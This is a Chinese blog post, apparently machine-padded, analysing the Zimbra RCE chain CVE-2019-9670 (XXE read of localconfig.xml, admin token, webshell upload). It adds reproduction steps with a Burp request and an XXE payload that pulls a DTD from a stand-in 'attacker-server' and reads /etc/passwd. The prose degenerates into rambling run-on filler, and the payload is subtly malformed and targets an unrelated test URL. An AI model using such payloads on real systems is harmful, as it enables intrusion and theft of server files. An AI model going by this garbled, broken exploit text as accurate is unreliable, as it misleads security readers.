Zimbra 远程代码执行漏洞(CVE-2019-9670)漏洞分析

Zimbra 远程代码执行漏洞(CVE-2019-9670)漏洞分析

漏洞简介
Zimbra是著名的开源系统,提供了一套开源协同办公套件包括WebMail,日历,通信录,Web文档管理和创作。一体化地提供了邮件收发、文件共享、协同办公、即时聊天等一系列解决方案。此漏洞的主要利用手法是通过 XXE (XML 外部实体注入) 漏洞读取localconfig.xml配置文件来获取Zimbra admin ldap password,接着通过SOAP AuthRequest认证得到Admin Authtoken,最后使用全局管理令牌通过ClientUploader扩展上传WebshellZimbra服务器,从而实现通过Webshell 来达到远程代码执行效果。(需要注意,最后要达到RCE要结合SSRF漏洞,即需要结合另一个漏洞CVE-2019-9621)
漏洞影响范围

Zimbra
### XXE漏洞与SSRF的关系 XXE(XML External Entity)漏洞允许攻击者通过恶意构造的外部实体引用,读取服务器上的文件或其他资源。而SSRF(Server-Side Request Forgery)是一种让目标服务器发起请求到指定地址的安全问题。两者可以通过特定方式结合使用,在某些场景下实现更复杂的攻击效果。 例如,XXE可以和SSRF一起用于探测其他内网主机的信息,基于HTTP协议进行端口扫描或服务发现[^1]。这种组合能够使攻击范围扩大至内部网络中的更多资产。 --- ### Zimbra RCE漏洞背景及其利用关系 在一些复杂的应用程序中,多个安全缺陷可能相互关联形成更大的威胁模型。比如Zimbra远程代码执行漏洞(CVE-2019-9670),其完整的RCE链依赖于另一个SSRF漏洞(CVE-2019-9621)[^2]。尽管官方文档提到需要两个漏洞配合才能达成最终的目标——即完全控制受害者的机器;但实际上也有方法绕过此限制单独触发该功能模块从而直接获得shell权限的情况发生(具体细节未公开披露)。 这表明即使缺少明确标注出来的辅助条件也可能找到替代路径去完成整个攻击链条的设计意图之外的操作行为模式转换过程中的可能性探索方向之一就是寻找是否存在类似的逻辑错误或者配置不当之处作为突破口来进行尝试突破现有的防护机制进而达到预期目的的同时还应该考虑到实际环境中可能会遇到的各种阻碍因素影响最终成功率高低程度不同而已。 --- ### 复现步骤概述 为了验证上述理论假设成立与否并通过实践检验得出结论证明观点正确无误的话,则需按照如下方式进行操作: #### 准备工作 1. **环境搭建**: 使用虚拟机创建隔离测试环境,安装易受攻击版本的服务软件实例。 2. **工具准备**: 下载并启动Burp Suite社区版用作中间拦截器角色以便后续手动调整数据包内容后再转发出去供进一步分析研究之用。 #### 实际演练部分 ##### 设置代理连接 在浏览器里设定好相应的出口通道指向本地监听端口号之后加载含有潜在风险点位链接地址页面时自动将所有通信流量导向我们事先布置好的陷阱装置等待捕捉感兴趣的数据片段回来审查是否有异常现象出现值得深入挖掘下去的价值所在之处存在即可视为成功捕获有效样本素材可供下一步骤处理使用前先保存原始状态副本留档备案以防万一丢失重要线索证据材料造成无法挽回的局面后果严重必须谨慎对待每一个环节都不能马虎大意才行啊同志们加油干吧! ```plaintext GET /vuln/xxetest.php HTTP/1.1 Host: target-site.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) Accept-Encoding: gzip, deflate Connection: close Upgrade-Insecure-Requests: 1 Cache-Control: max-age=0 ``` ##### 构造Payload 接着把刚才截获下来的未经修改过的原样复制粘贴过来放到重复发送窗口里面替换掉原有的参数字段值换成精心设计制作而成的新颖独特而又充满危险性的特殊字符序列结构形式表现出来看看会发生什么有趣的事情呢?让我们拭目以待吧朋友们! ```xml <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE test[ <!ENTITY % remote SYSTEM "http://attacker-server/payload.dtd"> <!ENTITY % init "<!ENTITY % send SYSTEM 'file:///etc/passwd'>"> ]> <reset> <login>admin;%send;</login> <secret>Any bugs?</secret> </reset> ``` 注意这里引入了一个外部DTD定义文件`payload.dtd`,它包含了更多的指令用来指示解析引擎如何去构建新的实体标签嵌套层次关系直到最后一步才真正暴露核心秘密武器位置信息泄露给外界观察员看到为止才算圆满完成任务使命结束啦哈哈哈哈哈!!! --- ### 结果评估标准说明 当以上所有的准备工作都顺利完成以后就可以静候佳音传来好消息咯~ 如果一切正常顺利的话那么你应该能够在自己的监控屏幕上清晰地看见来自受害者那边传来的回应消息当中携带了原本不应该被轻易获取得到的秘密情报资料比如说操作系统用户名列表之类的敏感隐私类别的东西就充分证明我们的实验取得了圆满的成功成果喜人呀各位小伙伴们快来庆祝一番吧😊🎉👏 当然啦除了单纯追求技术层面的乐趣体验之外更重要的是要从中吸取教训总结经验不断提高自身的网络安全意识水平时刻保持警惕防止自己成为下一个倒霉蛋哦记住一句话叫做“道高一尺魔高一丈”永远不要低估敌人可能拥有的强大实力好吗谢谢大家听我说完这些话希望对你们有所帮助再见👋~ ---
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值